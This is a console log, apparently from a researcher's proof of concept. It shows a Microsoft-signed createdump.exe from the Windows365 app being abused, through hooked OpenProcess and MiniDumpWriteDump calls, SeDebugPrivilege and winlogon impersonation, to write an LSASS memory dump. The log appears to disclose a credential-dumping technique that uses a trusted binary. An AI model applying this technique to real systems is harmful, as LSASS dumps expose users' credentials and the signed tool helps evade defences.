Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')

    Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc

SignerCertificate                         Status                                       StatusMessage                               Path
-----------------                         ------                                       -------------                               ----
C2048FB509F1C37A8C3E9EC6648118458AA01780  Valid                                        Signature verified.                         createdump.exe

c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The WindowsApp" to create an LSASS dump

Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
  ProcessId: 35828
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
  ProcessId: 1512
  hProcess: 0x0000000000000184
  hFile: 0x00000000000001BC
  DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.